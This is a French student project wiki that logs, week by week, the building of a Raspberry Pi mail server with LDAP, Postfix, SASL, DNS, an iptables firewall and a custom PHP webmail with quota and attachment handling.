* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

